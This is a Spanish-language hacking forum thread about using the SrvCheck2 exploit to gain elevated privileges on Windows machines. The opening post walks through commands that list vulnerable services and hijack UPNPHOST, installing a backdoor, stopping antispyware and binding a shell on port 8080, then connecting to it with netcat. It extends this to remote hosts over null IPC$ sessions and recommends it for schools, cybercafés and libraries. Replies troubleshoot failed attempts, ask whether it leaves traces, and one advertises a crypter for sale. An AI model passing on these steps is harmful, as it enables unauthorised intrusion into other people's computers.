Sobre el nuevo exploit de SrvCheck2

Buenas, desde hace unos dias la web de www.cyruxnet.org nos ofrece un nuevo exploit que se basa en una debil configuración de los servicios de windows para elevar los privilegios de forma local.

Ahora ha salido la versión 2.0 que permite una elevación de privilegios tanto local como remota, el funcionamiento es el siguiente:

Descargamos el archivo de su web oficial y ejecutamos en nuestro PC el comando siguiente:

Código:

srvcheck2 -l

Esto nos listará todos los servicios que tengamos en nuestro PC vulnerables a este exploit. Para el caso buscaremos el servicio UPNPHOST y lo explotaremos con el comando:

Código:

srvcheck2 -m upnphost

Despues de unos segundos el exploit nos responderá algo asi como:

Código:

[+] Trying to enumerate local resources
[+] Username: MadAntrax
[+] Uninstalling previous backdoors
[+] Granting Remote bindshell Execution..
[+] Shutting down remote antispyware Service =)
[+] Installing Backdoor Code...
[+] The service have been succesfully modified =)
[+] Service Opened. Trying to Start... (wait a few seconds)
[+] StarteService() Error due to a non service application execution
[+] Ignore it. Your application should be executed =)
[+] Now connect to port 8080 and enjoy your new privileges

Con esto conseguimos bindear una shell a nuestro puerto local 8080. Usaremos NetCat para conectarnos:

Código:

nc 127.0.0.1 8080

Y nos saltará un prompt con los privilegios elevados.

========================

Ok, hasta aqui todo funciona de maravilla y podemos usar este ejemplo para elevar nuestros privilegios en las situaciones que lo requiera (En el colegio, cibercafés, bibliotecas, etc...)

Ahora quiero usar la funcionalidad extra de la version 2.0, que permite explotar un servicio de forma remota, según el archivo de ayuda se hace con el comando:

Código:

srvcheck2 -l -H 81.61.100.2

Con esto podremos hacer un listado de los servicios vulnerables que tiene la maquina 81.61.100.2. Para ello establece una sesión nula IPC$ en el host remoto.

Despues tendremos que poner el comando:

Código:

srvcheck2 -H 81.61.100.2 -m upnphost

Y el exploit nos responderá:

Código:

[+] Trying to connect to remote SCM
[+] Host: \\81.61.100.2\IPC$
[+] Username: (null)
[+] Password: (null)
[+] Network Connection OK
[+] Uninstalling previous backdoors
[+] Granting Remote bindshell Execution..
[+] Shutting down remote antispyware Service =)
[+] Installing Backdoor Code...
[+] The service have been succesfully modified =)
[+] Service Opened. Trying to Start... (wait a few seconds)
[+] StarteService() Error due to a non service application execution
[+] Ignore it. Your application should be executed =)
[+] Now connect to port 8080 and enjoy your new privileges

y podremos hacer NetCat en el host remoto con privilegios elevados.

Mi pregunta es: ¿Bajo que entornos podremos explotar esta vulnerabilidad? ¿Tienen que ser equios del mismo dominio? ¿Pueden ser en hosts que esten completamente remotos?

Gracias a todos: play hard, go pr0!

Wenaz ||MadAntrax|| .. ya k mencionas lo del SrvCheck2 ..keria preguntare si ya probaste el xploit .por decir en una red ... pos yo lo intente en una red .. y al tratar de listar las vulnerabiliades de otra makina .. me sale error ..simplemente no me lista ..las makinas en las k las probe tienen xp ..sin contraseña ni usuario .... alguien de aki k ya lohaya probado ?

En mi caso hace todos los pasos bien pero cuando hago el

nc <dir_ip> 8080

el nc sale sin decir ni mú, ni abrir ningún tipo de cmd en el equipo remoto.

Esto es lo que hay.

Cita de: TMT en 17 Febrero 2006, 12:39

En mi caso hace todos los pasos bien pero cuando hago el

nc <dir_ip> 8080

el nc sale sin decir ni mú, ni abrir ningún tipo de cmd en el equipo remoto.

Esto es lo que hay.

Agrega el modo verbose asi te da algo de info
Ejemplo:
nc -vv (dir_ip) 8080

alguien sabe por que esto ?

C:\Documents and Settings\Administrador\Escritorio>srvcheck2 -l -H 192.168.1.180
Services Permissions checker v2.0
(c) 2006 Andres Tarasco - atarasco@gmail.com

Trying to connect to remote SCM
Host: \\192.168.1.180\IPC$
Username: (null)
Password: (null)
Network Connection OK

Cita de: User en 18 Febrero 2006, 05:02

alguien sabe por que esto ?

C:\Documents and Settings\Administrador\Escritorio>srvcheck2 -l -H 192.168.1.180
Services Permissions checker v2.0
(c) 2006 Andres Tarasco - atarasco@gmail.com

Trying to connect to remote SCM
Host: \\192.168.1.180\IPC$
Username: (null)
Password: (null)
Network Connection OK

Me temo que esto quiere decir que están al día con los parches de MS.

Hola. Ya sé que hace más de 3 semanas que no se escribe en este post, pero me gustaría saber si todavía funciona bien el exploit y los parches no están muy generalizados...

Lo he intentado repetidas veces con 4 ordenadores distintos y siempre obtengo el mismo error:

C:\Documents and Settings\Administrador\Escritorio>srvcheck2 -l -H 192.168.1.180
Services Permissions checker v2.0
(c) 2006 Andres Tarasco - atarasco@gmail.com

# Trying to connect to remote SCM
# Host: \\192.168.1.180\IPC$
# Username: (null)
# Password: (null)
# Network Connection OK
[-] OpenScManager() FAILED
ErrorCode 1722: El servidor RPC no estB disponible.

¿Qué opinais? Gracias por adelantado

Pues no soy ningun experto pero me imagino que ya estan casi todas las pc parchadas, a mi me da el mismo error y la he provado como en 10 pc`s .

Cita de: AKuMA^Newbie en 14 Marzo 2006, 21:04

C:\Documents and Settings\Administrador\Escritorio>srvcheck2 -l -H 192.168.1.180
Services Permissions checker v2.0
(c) 2006 Andres Tarasco - atarasco@gmail.com

# Trying to connect to remote SCM
# Host: \\192.168.1.180\IPC$
# Username: (null)
# Password: (null)
# Network Connection OK
[-] OpenScManager() FAILED
ErrorCode 1722: El servidor RPC no estB disponible.

¿Qué opinais? Gracias por adelantado

Es más que posible que esté tras un firewall o un router... A mi me pasa...

Código:

C:\Hacking\Exploits>srvcheck2 -H 127.0.0.1 -m wzcsvc
Services Permissions checker v2.0
(c) 2006 Andres Tarasco - atarasco@gmail.com

[+] Trying to connect to remote SCM
[+] Host: \\127.0.0.1\IPC$
[+] Username: (null)
[+] Password: (null)
[+] Network Connection OK
[+] Uninstalling previous backdoors
[+] Granting Remote bindshell Execution..
[+] Shutting down remote antispyware Service =)
[+] Installing Backdoor Code...
[+] The service have been succesfully modified =)
[+] Service Opened. Trying to Start... (wait a few seconds)
[+] StarteService() Error due to a non service application execution
[+] Ignore it. Your application should be executed =)
[+] Now connect to port 8080 and enjoy your new privileges

C:\Hacking\Exploits>

Todo parece funcionar bien..después de varios intentos (Con el router evidentemente no me funcionaba...)

Código:

C:\>nc -vv 127.0.0.1 8080
pc1 [127.0.0.1] 8080 (?): connection refused
sent 0, rcvd 0: NOTSOCK

C:\>nc -vv 127.0.0.1 8080
pc1 [127.0.0.1] 8080 (?): connection refused
sent 0, rcvd 0: NOTSOCK

Sin embargo...el netcat no se conecta! No sé a qué se debe... a ver si alguien tiene una ligera idea!

Gracias ^^

Hola

Mis pruebas han sido las siguientes a ver que os parece.

Conectando con IPC$ desde un usuario local que no pertenece al dominio.
no hay manera --> Acceso Denegado
Yo creo que esto se debe a una directiva (GPO) de W2000 que no permite hacer conexiones anónimas entre máquinas.

Poniendo un usuario local con permisos muy restringidos, conecta con 3 servicios vulnerables dichos servicios están definidos en GPO que los Authenticat Users pueden ejecutarlos

Poniendo un user normal y corriente del dominio sin permisos, o permisos muy restringidos.
mismos servicios que con el usuario de Dominio

El tema es que estos servicios creo que no son muy explotables..
Mssenger Service (servicio de mensajeria no el msn)
Registro de Licencias

¿Creéis que puedo explotar alguno?

este exploit deja huellas en el otro ordenador verdad??

judas.ysee:
si y bastante visibles..

para los que dicen que no funciona, porque sale acceso denegado, eso no es porque este parcheado.. es porque no tienen permiso de acceder a IPC$ traten con un usuario valido, en esa computadora, o un usuario de red con minimos privilegios..

Saludos!!

Hola:

Yo lo pruevo en mi propio pc y me sale esto:

Código:

C:\>srvcheck2 -m upnphost
Services Permissions checker v2.0
(c) 2006 Andres Tarasco - atarasco@gmail.com

[+] Trying to enumerate local resources
[+] Username: Jose
[+] Uninstalling previous backdoors
[+] Granting Remote bindshell Execution..
[+] Shutting down remote antispyware Service =)
[+] Installing Backdoor Code...
[+] The service have been succesfully modified =)
[+] Service Opened. Trying to Start... (wait a few seconds)
[+] StarteService() Error due to a non service application execution
[+] Ignore it. Your application should be executed =)
[+] Now connect to port 8080 and enjoy your new privileges

C:\>nc -vv 127.0.0.1 8080
DNS fwd/rev mismatch: localhost != Equipo
localhost [127.0.0.1] 8080 (?): connection refused
sent 0, rcvd 0: NOTSOCK

Alguien sabe por q me rechaza la conexion del nc???

1S4ludo

SMALL CRYPTER PRIVATE VERSION A LA VENTA!!

EL error NOTSOCK es porque habia un parche ( no r3ecuerdo) q no permitia el uso de raw sockets...O sea q el atacante tiene q teneer permisos de admin.
Acceso denegado puede ser porque no esta registrado ene l dominio, porque esta parchado, porque hay un firewall....mil razones

Salu2.

a mi me sale un error distinto kien me ayuda.... aki va la imagen...

hard-h2o modding Foros de ayuda Yashira.org Videojuegos indetectables.net

Noticias Informatica Seguridad Informática ADSL Foros en español eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.